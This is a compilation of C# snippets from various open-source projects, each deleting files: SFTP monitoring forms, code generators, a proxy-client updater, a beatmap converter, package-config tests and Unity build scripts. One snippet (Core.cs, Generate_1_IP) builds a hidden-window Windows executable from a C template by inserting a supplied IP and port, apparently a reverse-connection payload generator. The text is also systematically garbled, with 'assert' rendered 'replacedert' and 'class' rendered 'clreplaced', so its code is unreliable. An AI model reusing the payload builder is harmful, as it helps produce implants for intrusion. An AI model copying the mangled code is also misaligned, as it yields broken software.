                    string localBuild = MainForm.CONF_DIR + monitorConfig.spring.BuildFileName;
                    string localCtl = MainForm.CONF_DIR + monitorConfig.spring.CrlFileName;
                    string remoteBuild = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.BuildFileName;
                    string remoteCtl = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.CrlFileName;

                    YSTools.YSFile.writeFileByString(localBuild, buildStr);
                    YSTools.YSFile.writeFileByString(localCtl, ctlStr);

                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        parentForm.BeginInvoke((MethodInvoker)delegate()
                        {
                            parentForm.getSftp().put(localBuild, remoteBuild, ChannelSftp.OVERWRITE);
                            parentForm.getSftp().put(localCtl, remoteCtl, ChannelSftp.OVERWRITE);

                            parentForm.RunShell("cd " + monitorConfig.spring.ProjectSourceDir, true);
                            parentForm.RunShell("svn checkout " + monitorConfig.spring.ProjectSvnUrl, true);

                            File.Delete(localBuild);
                            File.Delete(localCtl);
                        });
                    });
                }                
            }

            this.Close();
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

private void stb_home_url_Enter(object sender, EventArgs e)
        {
            string sdir = stb_project_source_dir.Text;
            string appname = stb_app_name.Text;
            string url = stb_home_url.Text;
            if(!string.IsNullOrWhiteSpace(sdir) && !string.IsNullOrWhiteSpace(appname) && url.EndsWith("[port]")){
                try
                {
                    if (get_spboot_port_run)
                    {
                        return;
                    }
                    get_spboot_port_run = true;
                    if (!sdir.EndsWith("/"))
                    {
                        sdir += "/";
                    }
                    string serverxml = string.Format("{0}{1}/src/main/resources/config/application-dev.yml", sdir, appname);
                    string targetxml = MainForm.TEMP_DIR + string.Format("application-dev-{0}.yml", DateTime.Now.ToString("MMddHHmmss"));
                    targetxml = targetxml.Replace("\\", "/");
                    parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        string port = "", ctx = "";
                        string yml = YSTools.YSFile.readFileToString(targetxml);
                        if(!string.IsNullOrWhiteSpace(yml)){
                            string[] lines = yml.Split('\n');
                            bool find = false;                            
                            int index = 0, start = 0;
                            foreach(string line in lines){
                                if (line.Trim().StartsWith("server:"))
                                {
                                    find = true;
                                    start = index;
                                }
                                else if(find && line.Trim().StartsWith("port:")){
                                    port = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                else if (find && line.Trim().StartsWith("context-path:"))
                                {
                                    ctx = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                if (index - start > 4 && start > 0)
                                {
                                    break;
                                }
                                index++;
                            }
                        }

                        if (port != "")
                        {
                            stb_home_url.BeginInvoke((MethodInvoker)delegate()
                            {
                                stb_home_url.Text = string.Format("http://{0}:{1}{2}", config.Host, port, ctx);
                            });
                        }
                        
                        get_spboot_port_run = false;

                        File.Delete(targetxml);
                    });
                }
                catch(Exception ex) {
                    logger.Error("Error", ex);
                }

            }
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

void Tomcat_TextChanged(object sender, EventArgs e)
        {
            string path = stb_tomcat_path.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                if (string.IsNullOrWhiteSpace(tomcat_name))
                {
                    try
                    {
                        stb_tomcat_name.Text = path.Substring(path.LastIndexOf("/") + 1);
                    }
                    catch { }
                }

                if (string.IsNullOrWhiteSpace(stb_tomcat_port.Text))
                {
                    try
                    {
                        if (get_tomcat_port_run)
                        {
                            return;
                        }
                        get_tomcat_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = path + "conf/server.xml";
                        string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) => {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
                            if(list != null && list.Count > 0){
                                List<Hashtable> serviceList = null;
                                string port = null;
                                foreach(Hashtable one in list){
                                    if (one["NodeName"].ToString() == "Service")
                                    {
                                        serviceList = (List<Hashtable>) one["ChildList"];
                                        foreach (Hashtable two in serviceList)
                                        {
                                            if (two["NodeName"].ToString() == "Connector")
                                            {
                                                port = two["port"].ToString();

                                                break;
                                            }
                                        }
                                        if(port != null){
                                            break;
                                        }
                                    }
                                }

                                stb_tomcat_port.BeginInvoke((MethodInvoker)delegate()
                                {
                                   stb_tomcat_port.Text = port == null ? "8080" : port;
                                });
                            }
                            get_tomcat_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 Source : Core.cs
with MIT License
from 1y0n

public static bool Generate_1_IP(string arch, string ip, string port, string path)
        {
            string finalip = "";

            foreach (char c in ip)
            {
                finalip += "'" + c + "',";
            }
            finalip += @"'\0'";

            string FinalCode = T_EasyMode.GetCode().Replace("{{ip}}", finalip).Replace("{{port}}", port);

            string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
            System.IO.File.WriteAllText(temp_path, FinalCode);

            //开始编译
            string compilecmd = @"gcc " + temp_path + @" -o """ + path + @""" -mwindows -m"+ arch.Substring(0, 2) +" -lws2_32";

            if (!Common.Execute_Cmd(compilecmd).Contains("error:"))
            {
                System.IO.File.Delete(temp_path);
                return true;
            }
            else
            {
                System.IO.File.Delete(temp_path);
                return false;
            }
        }

19 Source : TextEditorForm.cs
with Apache License 2.0
from 214175590

private void TextEditorForm_FormClosing(object sender, FormClosingEventArgs e)
        {
            try
            {
                if (ischange)
                {
                    string content = editor.Text;
                    if (!content.Equals(org_content))
                    {
                        YSTools.YSFile.writeFileByString(local_file, content);

                        if (mode == "remote")
                        {
                            shellForm.RunSftpShell("put", local_file, remote_file, false, false);
                        }
                    }
                }
            }
            catch { }
            File.Delete(local_file);
        }

19 Source : TomcatMonitorForm.cs
with Apache License 2.0
from 214175590

public List<JObject> loadTomcatServerProject()
        {
            List<JObject> itemList = new List<JObject>();
            try
            {
                string serverxml = l_tomcat_path.Text + "conf/server.xml";
                string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                targetxml = targetxml.Replace("\\", "/");
                monitorForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    
                List<System.Collections.Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
                if (list != null && list.Count > 0)
                {
                    List<System.Collections.Hashtable> serviceList = null;
                    List<System.Collections.Hashtable> engineList = null;
                    List<System.Collections.Hashtable> hostList = null;
                    string port = null, docBase = "", path = "";
                    JObject json = null;
                    foreach (System.Collections.Hashtable one in list)
                    {
                        if (one["NodeName"].ToString() == "Service")
                        {
                            serviceList = (List<System.Collections.Hashtable>)one["ChildList"];
                            foreach (System.Collections.Hashtable two in serviceList)
                            {
                                if (two["NodeName"].ToString() == "Engine")
                                {
                                    engineList = (List<System.Collections.Hashtable>)two["ChildList"];
                                    foreach (System.Collections.Hashtable three in engineList)
                                    {
                                        if (three["NodeName"].ToString() == "Host")
                                        {
                                            hostList = (List<System.Collections.Hashtable>)three["ChildList"];
                                            foreach (System.Collections.Hashtable four in hostList)
                                            {
                                                if (four["NodeName"].ToString() == "Context")
                                                {
                                                    json = new JObject();
                                                    docBase = four["docBase"].ToString();
                                                    path = four["path"].ToString();
                                                    if (!docBase.EndsWith(path))
                                                    {
                                                        if (docBase.StartsWith("/"))
                                                        {
                                                            json.Add("path", docBase);
                                                        }
                                                        else
                                                        {
                                                            json.Add("path", l_tomcat_path.Text + "webapps/" + docBase);
                                                        }
                                                        json.Add("name", docBase);
                                                        json.Add("url", l_visit_url.Text + "/" + path);
                                                        
                                                        itemList.Add(json);
                                                    }                                                    
                                                }
                                            }
                                        }
                                    }

                                    break;
                                }
                            }
                            if (port != null)
                            {
                                break;
                            }
                        }
                    }

                }

                File.Delete(targetxml);
            }
            catch { }
            return itemList;
        }

19 Source : StaticFiles.cs
with MIT License
from 2881099

public static IApplicationBuilder UseFreeAdminLteStaticFiles(this IApplicationBuilder app, string requestPathBase) {
			if (_isStaticFiles == false) {
				lock (_isStaticFilesLock) {
					if (_isStaticFiles == false) {
						var curPath = AppDomain.CurrentDomain.BaseDirectory;
						var zipPath = $"{curPath}/{Guid.NewGuid()}.zip";
						using (var zip = WwwrootStream()) {
							using (var fs = File.Open(zipPath, FileMode.OpenOrCreate)) {
								zip.CopyTo(fs);
								fs.Close();
							}
							zip.Close();
						}
						var wwwrootPath = Path.Combine(curPath, "FreeSql.AdminLTE.wwwroot");
						if (Directory.Exists(wwwrootPath)) Directory.Delete(wwwrootPath, true);
						try {
							System.IO.Compression.ZipFile.ExtractToDirectory(zipPath, wwwrootPath, Encoding.UTF8);
						} catch (Exception ex) {
							throw new Exception($"UseFreeAdminLtePreview 错误,资源文件解压失败:{ex.Message}", ex);
						} finally {
							File.Delete(zipPath);
						}

						app.UseStaticFiles(new StaticFileOptions {
							RequestPath = requestPathBase.TrimEnd('/'),
							FileProvider = new PhysicalFileProvider(wwwrootPath)
						});

						_isStaticFiles = true;
					}
				}
			}

			return app;
		}

19 Source : TemplateEngin.cs
with MIT License
from 2881099

public static byte[] ReadFile(string path) {
				if (File.Exists(path)) {
					string destFileName = Path.GetTempFileName();
					File.Copy(path, destFileName, true);
					int read = 0;
					byte[] data = new byte[1024];
					using (MemoryStream ms = new MemoryStream()) {
						using (FileStream fs = new FileStream(destFileName, FileMode.OpenOrCreate, FileAccess.Read)) {
							do {
								read = fs.Read(data, 0, data.Length);
								if (read <= 0) break;
								ms.Write(data, 0, read);
							} while (true);
						}
						File.Delete(destFileName);
						data = ms.ToArray();
					}
					return data;
				}
				return new byte[] { };
			}

19 Source : TemplateGenerator.cs
with MIT License
from 2881099

void BuildEachDirectory(string templateDirectory, string outputDirectory, TemplateEngin tpl, IDbFirst dbfirst, List<DbTableInfo> tables) {
			if (Directory.Exists(outputDirectory) == false) Directory.CreateDirectory(outputDirectory);
			var files = Directory.GetFiles(templateDirectory);
			foreach (var file in files) {
				var fi = new FileInfo(file);
				if (string.Compare(fi.Extension, ".FreeSql", true) == 0) {
					var outputExtension = "." + fi.Name.Split('.')[1];
					if (fi.Name.StartsWith("for-table.")) {
						foreach (var table in tables) {
							var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "table", table }, { "dbfirst", dbfirst } });
							if (result.EndsWith("return;")) continue;
							var outputName = table.Name + outputExtension;
							var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
							if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
							var outputStream = Encoding.UTF8.GetBytes(result);
							var fullname = outputDirectory + "/" + outputName;
							if (File.Exists(fullname)) File.Delete(fullname);
							using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
								outfs.Write(outputStream, 0, outputStream.Length);
								outfs.Close();
							}
						}
						continue;
					} else {
						var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "tables", tables }, { "dbfirst", dbfirst } });
						var outputName = fi.Name;
						var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
						if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
						var outputStream = Encoding.UTF8.GetBytes(result);
						var fullname = outputDirectory + "/" + outputName;
						if (File.Exists(fullname)) File.Delete(fullname);
						using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
							outfs.Write(outputStream, 0, outputStream.Length);
							outfs.Close();
						}
					}
				}
				File.Copy(file, outputDirectory + file.Replace(templateDirectory, ""), true);
			}
			var dirs = Directory.GetDirectories(templateDirectory);
			foreach(var dir in dirs) {
				BuildEachDirectory(dir, outputDirectory +  dir.Replace(templateDirectory, ""), tpl, dbfirst, tables);
			}
		}

19 Source : Admin.cs
with MIT License
from 2881099

static void MakeTemplateFile(string tplName, string tplCode) {
			var tplPath = _tplViewDir + $@"{tplName}";
			if (newTpl.ContainsKey(tplPath) == false) {
				var lck = newTplLock.GetOrAdd(tplPath, ent => new object());
				lock (lck) {
					if (newTpl.ContainsKey(tplPath) == false) {
						if (File.Exists(tplPath)) File.Delete(tplPath);
						File.WriteAllText(tplPath, tplCode, Encoding.UTF8);
						newTpl.TryAdd(tplPath, true);
					}
				}
			}
		}

19 Source : UpdateHandle.cs
with GNU General Public License v3.0
from 2dust

public void UpdateGeoFile(string geoName, Config config, Action<bool, string> update)
        {
            _config = config;
            _updateFunc = update;
            var url = string.Format(geoUrl, geoName);

            DownloadHandle downloadHandle = null;
            if (downloadHandle == null)
            {
                downloadHandle = new DownloadHandle();

                downloadHandle.UpdateCompleted += (sender2, args) =>
                {
                    if (args.Success)
                    {
                        _updateFunc(false, string.Format(UIRes.I18N("MsgDownloadGeoFileSuccessfully"), geoName));

                        try
                        {
                            string fileName = Utils.GetPath(Utils.GetDownloadFileName(url));
                            if (File.Exists(fileName))
                            {
                                string targetPath = Utils.GetPath($"{geoName}.dat");
                                if (File.Exists(targetPath))
                                {
                                    File.Delete(targetPath);
                                }
                                File.Move(fileName, targetPath);
                                _updateFunc(true, "");
                            }
                        }
                        catch (Exception ex)
                        {
                            _updateFunc(false, ex.Message);
                        }
                    }
                    else
                    {
                        _updateFunc(false, args.Msg);
                    }
                };
                downloadHandle.Error += (sender2, args) =>
                {
                    _updateFunc(false, args.GetException().Message);
                };
            }

            askToDownload(downloadHandle, url, false);
        }

19 Source : MainForm.cs
with GNU General Public License v3.0
from 2dust

private void btnOK_Click(object sender, EventArgs e)
        {
            try
            {
                Process[] existing = Process.GetProcessesByName("v2rayN");
                foreach (Process p in existing)
                {
                    string path = p.MainModule.FileName;
                    if (path == GetPath("v2rayN.exe"))
                    {
                        p.Kill();
                        p.WaitForExit(100);
                    }
                }
            }
            catch (Exception ex)
            {
                // Access may be denied without admin right. The user may not be an administrator.
                showWarn("Failed to close v2rayN(关闭v2rayN失败).\n" +
                    "Close it manually, or the upgrade may fail.(请手动关闭正在运行的v2rayN,否则可能升级失败。\n\n" + ex.StackTrace);
            }

            StringBuilder sb = new StringBuilder();
            try
            {
                if (!File.Exists(fileName))
                {
                    if (File.Exists(defaultFilename))
                    {
                        fileName = defaultFilename;
                    }
                    else
                    {
                        showWarn("Upgrade Failed, File Not Exist(升级失败,文件不存在).");
                        return;
                    }
                }

                string thisAppOldFile = Application.ExecutablePath + ".tmp";
                File.Delete(thisAppOldFile);
                string startKey = "v2rayN/";


                using (ZipArchive archive = ZipFile.OpenRead(fileName))
                {
                    foreach (ZipArchiveEntry entry in archive.Entries)
                    {
                        try
                        {
                            if (entry.Length == 0)
                            {
                                continue;
                            }
                            string fullName = entry.FullName;
                            if (fullName.StartsWith(startKey))
                            {
                                fullName = fullName.Substring(startKey.Length, fullName.Length - startKey.Length);
                            }
                            if (Application.ExecutablePath.ToLower() == GetPath(fullName).ToLower())
                            {
                                File.Move(Application.ExecutablePath, thisAppOldFile);
                            }

                            string entryOuputPath = GetPath(fullName);

                            FileInfo fileInfo = new FileInfo(entryOuputPath);
                            fileInfo.Directory.Create();
                            entry.ExtractToFile(entryOuputPath, true);
                        }
                        catch (Exception ex)
                        {
                            sb.Append(ex.StackTrace);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                showWarn("Upgrade Failed(升级失败)." + ex.StackTrace);
                return;
            }
            if (sb.Length > 0)
            {
                showWarn("Upgrade Failed,Hold ctrl + c to copy to clipboard.\n" +
                    "(升级失败,按住ctrl+c可以复制到剪贴板)." + sb.ToString());
                return;
            }

            Process.Start("v2rayN.exe");
            MessageBox.Show("Upgrade successed(升级成功)", "", MessageBoxButtons.OK, MessageBoxIcon.Information);

            Close();
        }

19 Source : BeatmapConverter.cs
with MIT License
from 39M

static void Convert()
    {
        Debug.Log(string.Format("Source path: {0}", beatmapPath));

        // 每个目录代表一首歌,里面按字典序放置至多三个谱面,依次为 Easy, Normal, Hard
        string[] sourceDirectories = Directory.GetDirectories(beatmapPath);
        foreach (string directoryPath in sourceDirectories)
        {
            Music music = new Music();

            // 遍历单个目录下的所有 osu 文件,对每个文件创建一个 Beatmap 对象,加到 Music 对象里面
            string[] sourceFiles = Directory.GetFiles(directoryPath, "*.osu");
            int count = 0;
            foreach (string filepath in sourceFiles)
            {
                string[] lines = File.ReadAllLines(filepath);

                Beatmap beatmap = new Beatmap();
                music.beatmapList.Add(beatmap);

                #region Set Difficulty
                beatmap.difficultyName = difficultyNames[Mathf.Min(count, difficultyNames.Length - 1)];
                beatmap.difficultyDisplayColor = new SimpleColor(difficultyColors[Mathf.Min(count, difficultyNames.Length - 1)]);
                count++;
                #endregion

                #region Processing file line by line
                bool startProcessNotes = false;
                foreach (string line in lines)
                {
                    if (line.StartsWith("[HitObjects]"))
                    {
                        startProcessNotes = true;
                        continue;
                    }

                    if (!startProcessNotes)
                    {
                        // 处理谱面信息

                        int lastIndex = line.LastIndexOf(':');
                        if (lastIndex < 0)
                        {
                            // 如果不是有效信息行则跳过
                            continue;
                        }

                        string value = line.Substring(lastIndex + 1).Trim();

                        if (line.StartsWith("replacedle"))
                        {
                            music.replacedle = value;
                        }
                        else if (line.StartsWith("Artist"))
                        {
                            music.artist = value;
                        }
                        else if (line.StartsWith("AudioFilename"))
                        {
                            value = value.Remove(value.LastIndexOf('.'));
                            music.audioFilename = value;
                            music.bannerFilename = value;
                            music.soundEffectFilename = value;
                        }
                        else if (line.StartsWith("PreviewTime"))
                        {
                            music.previewTime = float.Parse(value) / 1000;
                        }
                        else if (line.StartsWith("Creator"))
                        {
                            beatmap.creator = value;
                        }
                        else if (line.StartsWith("Version"))
                        {
                            beatmap.version = value;
                        }
                    }
                    else
                    {
                        // 开始处理 HitObject

                        string[] noteInfo = line.Split(',');
                        int type = int.Parse(noteInfo[3]);

                        if ((type & 0x01) != 0)
                        {
                            // Circle
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Circle 相关的处理
                            });
                        }
                        else if ((type & 0x02) != 0)
                        {
                            // Slider
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Slider 相关的处理
                            });
                        }
                        else if ((type & 0x08) != 0)
                        {
                            // Spinner
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Spinner 相关的处理
                            });

                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[5]) / 1000,
                                // 其他 Spinner 相关的处理
                            });
                        }
                    }
                }
                #endregion
            }

            string targetPath = directoryPath + ".json";
            if (File.Exists(targetPath))
            {
                File.Delete(targetPath);
            }
            File.WriteAllText(targetPath, music.ToJson());

            Debug.Log(string.Format("Converted osu! beatmap\n[{0}]\nto json file\n[{1}]", directoryPath, targetPath));
        }

        Debug.Log(string.Format("All done, converted {0} files.", sourceDirectories.Length));
    }

19 Source : PackagesConfigTest.cs
with MIT License
from 3F

[Fact]
        public void ModifyItemsTest1()
        {
            const string _FILE = TestData.ROOT + @"PackagesConfig\test.1.tmp";
            if(File.Exists(_FILE)) File.Delete(_FILE);

            using TempPackagesConfig pkg = new(_FILE, customNew);
            replacedert.Equal(pkg.File, _FILE);
            replacedert.Empty(pkg.Packages);

            const string _P1 = "LX4Cnh";
            const string _P2 = "Fnv1a128";
            const string _P3 = "Huid";

            // duplicates

            pkg.DefaultTfm = "net40";
            replacedert.True(pkg.AddPackage(_P1, "1.1.0"));

            pkg.DefaultTfm = "net472";
            replacedert.True(pkg.AddPackage(_P2, "1.0.0"));
            replacedert.False(pkg.AddPackage(_P1, "1.2.0"));

            replacedert.Equal("1.1.0", pkg.GetPackage(_P1).Version);

            // default TFM

            replacedert.Equal("net40", pkg.GetPackage(_P1).Meta[PackageInfo.ATTR_TFM]);
            replacedert.Equal("net472", pkg.GetPackage(_P2).Meta[PackageInfo.ATTR_TFM]);

            // commit

            replacedert.False(File.Exists(_FILE));
            pkg.Commit();
            replacedert.True(File.Exists(_FILE));

            // rollback

            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.True(pkg.AddPackage(_P3, "1.0.0"));
            replacedert.Equal("1.0.0", pkg.GetPackage(_P3).Version);

            replacedert.Equal(3, pkg.Packages.Count());
            pkg.Rollback();
            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.True(pkg.AddPackage(_P3, "2.0.0"));
            replacedert.Equal("2.0.0", pkg.GetPackage(_P3).Version);

            replacedert.Equal(3, pkg.Packages.Count());

            // re-load

            PackagesConfig pkg2 = new(_FILE, customNew);
            replacedert.Equal(pkg2.File, _FILE);
            replacedert.Equal(2, pkg2.Packages.Count());

            replacedert.Null(pkg2.GetPackage(_P3));
            replacedert.NotNull(pkg.GetPackage(_P1));

            replacedert.Equal("1.1.0", pkg.GetPackage(_P1).Version);
        }

19 Source : PackagesConfigTest.cs
with MIT License
from 3F

[Fact]
        public void ModifyItemsTest2()
        {
            const string _FILE = TestData.ROOT + @"PackagesConfig\test.2.tmp";
            if(File.Exists(_FILE)) File.Delete(_FILE);

            using TempPackagesConfig pkg = new(_FILE, customNew);
            replacedert.Equal(pkg.File, _FILE);
            replacedert.Empty(pkg.Packages);

            const string _P1 = "LX4Cnh";

            replacedert.True(pkg.AddOrUpdatePackage(_P1, "1.0.0"));
            replacedert.Equal("1.0.0", pkg.GetPackage(_P1).Version);
            replacedert.Equal(pkg.DefaultTfm, pkg.GetPackage(_P1).Meta[PackageInfo.ATTR_TFM]);

            replacedert.Single(pkg.Packages);

            replacedert.False(pkg.AddOrUpdatePackage(_P1, "1.1.0", "net472"));
            replacedert.Equal("1.1.0", pkg.GetPackage(_P1).Version);
            replacedert.Equal("net472", pkg.GetPackage(_P1).Meta[PackageInfo.ATTR_TFM]);

            replacedert.Single(pkg.Packages);

            replacedert.True(pkg.UpdatePackage(_P1, "1.2.0", "net450"));
            replacedert.Equal("1.2.0", pkg.GetPackage(_P1).Version);
            replacedert.Equal("net450", pkg.GetPackage(_P1).Meta[PackageInfo.ATTR_TFM]);

            replacedert.False(pkg.UpdatePackage("NotReal", "1.0.0", "net450"));
            replacedert.Single(pkg.Packages);

            replacedert.False(pkg.RemovePackage("NotReal"));
            replacedert.Single(pkg.Packages);

            replacedert.True(pkg.RemovePackage(_P1));
            replacedert.Empty(pkg.Packages);
        }

19 Source : PackagesConfigTest.cs
with MIT License
from 3F

[Fact]
        public void ModifyItemsTest3()
        {
            const string _FILE = TestData.ROOT + @"PackagesConfig\test.3.tmp";
            if(File.Exists(_FILE)) File.Delete(_FILE);

            using TempPackagesConfig pkg = new(_FILE, customNew);
            replacedert.Equal(pkg.File, _FILE);
            replacedert.Empty(pkg.Packages);

            const string _P1 = "LX4Cnh";
            const string _P2 = "Fnv1a128";
            const string _P3 = "Huid";

            pkg.AutoCommit = true;

            replacedert.True(pkg.AddPackage(_P1, "1.1.0"));
            pkg.Rollback();

            replacedert.Single(pkg.Packages);
            replacedert.Equal("1.1.0", pkg.GetPackage(_P1).Version);

            replacedert.True(pkg.AddPackage(_P2, "2.0.0"));
            replacedert.Equal(2, pkg.Packages.Count());

            pkg.AutoCommit = false;

            replacedert.True(pkg.AddPackage(_P3, "1.2.3"));
            replacedert.Equal(3, pkg.Packages.Count());

            // re-load

            PackagesConfig pkg2 = new(_FILE, customNew);
            replacedert.Equal(pkg2.File, _FILE);
            replacedert.Equal(2, pkg2.Packages.Count());

            replacedert.NotNull(pkg2.GetPackage(_P2));
            replacedert.NotNull(pkg.GetPackage(_P1));

            replacedert.Equal("1.1.0", pkg.GetPackage(_P1).Version);
            replacedert.Equal("2.0.0", pkg.GetPackage(_P2).Version);
        }

19 Source : PackagesConfigTest.cs
with MIT License
from 3F

[Fact]
        public void ModifyItemsTest4()
        {
            const string _FILE = TestData.ROOT + @"PackagesConfig\test.4.tmp";
            if(File.Exists(_FILE)) File.Delete(_FILE);

            using TempPackagesConfig pkg = new(_FILE, customNew);
            replacedert.Empty(pkg.Packages);

            const string _P1 = "vsSolutionBuildEvent";
            const string _P2 = "7z.Libs";

            replacedert.True(pkg.AddOrUpdateGntPackage(_P1, "1.14.1", "vsSBE"));
            replacedert.Equal("1.14.1", pkg.GetPackage(_P1).Version);
            replacedert.Equal("vsSBE", pkg.GetPackage(_P1).MetaOutput);

            replacedert.False(pkg.AddOrUpdateGntPackage(_P1, "1.14.2"));
            replacedert.Equal("1.14.2", pkg.GetPackage(_P1).Version);

            replacedert.True(pkg.AddGntPackage(_P2, "19.0.2"));
            replacedert.Equal("19.0.2", pkg.GetPackage(_P2).Version);
            replacedert.False(pkg.GetPackage(_P2).Meta.ContainsKey(PackageInfo.ATTR_OUT));
            replacedert.Null(pkg.GetPackage(_P2).MetaOutput);

            replacedert.False(pkg.AddGntPackage(_P2, "16.0"));
            replacedert.Equal("19.0.2", pkg.GetPackage(_P2).Version);

            replacedert.True(pkg.UpdateGntPackage(_P2, "14", "7z"));
            replacedert.Equal("14", pkg.GetPackage(_P2).Version);
            replacedert.Equal("7z", pkg.GetPackage(_P2).Meta[PackageInfo.ATTR_OUT]);

            replacedert.False(pkg.UpdateGntPackage("NotReal", "1.0"));

            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.NotNull(pkg.GetPackage(_P2));
            replacedert.NotNull(pkg.GetPackage(_P1));

            replacedert.Single(pkg.GetPackage(_P2).Remove().Packages);
            replacedert.Null(pkg.GetPackage(_P2));
            replacedert.NotNull(pkg.GetPackage(_P1));
        }

19 Source : PackagesConfigTest.cs
with MIT License
from 3F

[Fact]
        public void ModifyItemsTest5()
        {
            const string _FILE = TestData.ROOT + @"PackagesConfig\test.5.tmp";
            if(File.Exists(_FILE)) File.Delete(_FILE);

            using TempPackagesConfig pkg = new(_FILE, customNew);
            replacedert.Empty(pkg.Packages);

            PackageInfo p0 = new("NotReal", "0.1");
            PackageInfo p1 = new("LX4Cnh", "1.0");
            PackageInfo p2 = new("LX4Cnh", "1.1", new Dictionary<string, string>() { { PackageInfo.ATTR_TFM, "net472" } });
            PackageInfo p3 = new("Fnv1a128", "3.0");
            PackageInfo p4 = new("Fnv1a128", "3.4", new Dictionary<string, string>() { { PackageInfo.ATTR_TFM, "net472" } });

            replacedert.True(pkg.AddPackage(p1));
            replacedert.Equal("1.0", pkg.GetPackage(p1.Id).Version);
            replacedert.Empty(pkg.GetPackage(p1.Id).Meta);

            replacedert.Single(pkg.Packages);

            replacedert.False(pkg.AddPackage(p2));
            replacedert.Equal("1.0", pkg.GetPackage(p1.Id).Version);
            replacedert.Null(pkg.GetPackage(p1.Id).MetaTFM);

            replacedert.Single(pkg.Packages);

            replacedert.False(pkg.AddOrUpdatePackage(p2));
            replacedert.Equal("1.1", pkg.GetPackage(p1.Id).Version);
            replacedert.Equal("net472", pkg.GetPackage(p1.Id).MetaTFM);

            replacedert.Single(pkg.Packages);

            replacedert.True(pkg.AddOrUpdatePackage(p3));
            replacedert.Equal("3.0", pkg.GetPackage(p3.Id).Version);
            replacedert.Empty(pkg.GetPackage(p3.Id).Meta);

            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.True(pkg.UpdatePackage(p4));
            replacedert.Equal("3.4", pkg.GetPackage(p3.Id).Version);
            replacedert.Equal("net472", pkg.GetPackage(p3.Id).Meta[PackageInfo.ATTR_TFM]);

            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.False(pkg.UpdatePackage(p0));
            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.False(pkg.RemovePackage(p0));
            replacedert.Equal(2, pkg.Packages.Count());

            replacedert.True(pkg.RemovePackage(p4));
            replacedert.Single(pkg.Packages);

            replacedert.Null(pkg.GetPackage(p4.Id));
            replacedert.NotNull(pkg.GetPackage(p1.Id));
            replacedert.Equal("1.1", pkg.GetPackage(p1.Id).Version);
        }

19 Source : TempPackagesConfig.cs
with MIT License
from 3F

private void Dispose(bool _)
        {
            if(!disposed)
            {
                if(IsNew) System.IO.File.Delete(file);

                disposed = true;
            }
        }

19 Source : BuildUtil.cs
with MIT License
from 404Lcc

[InitializeOnLoadMethod]
        public static void BuildHotfix()
        {
            if (File.Exists("replacedets/Hotfix/Unity.Hotfix.asmdef~"))
            {
                File.Move("replacedets/Hotfix/Unity.Hotfix.asmdef~", "replacedets/Hotfix/Unity.Hotfix.asmdef");
                LogUtil.Log("安装Hotfix");
                replacedetDatabase.Refresh();
            }
            else
            {
                if (File.Exists("replacedets/Hotfix/Unity.Hotfix.asmdef"))
                {
                    LogUtil.Log("安装Hotfix");
                }
                else
                {
                    LogUtil.Log("Hotfix丢失");
                }
            }
            if (File.Exists("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes"))
            {
                File.Delete("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes");
            }
            if (File.Exists("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes"))
            {
                File.Delete("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes");
            }
            if (File.Exists("replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes"))
            {
                File.Delete("replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes");
            }
            if (File.Exists("replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes"))
            {
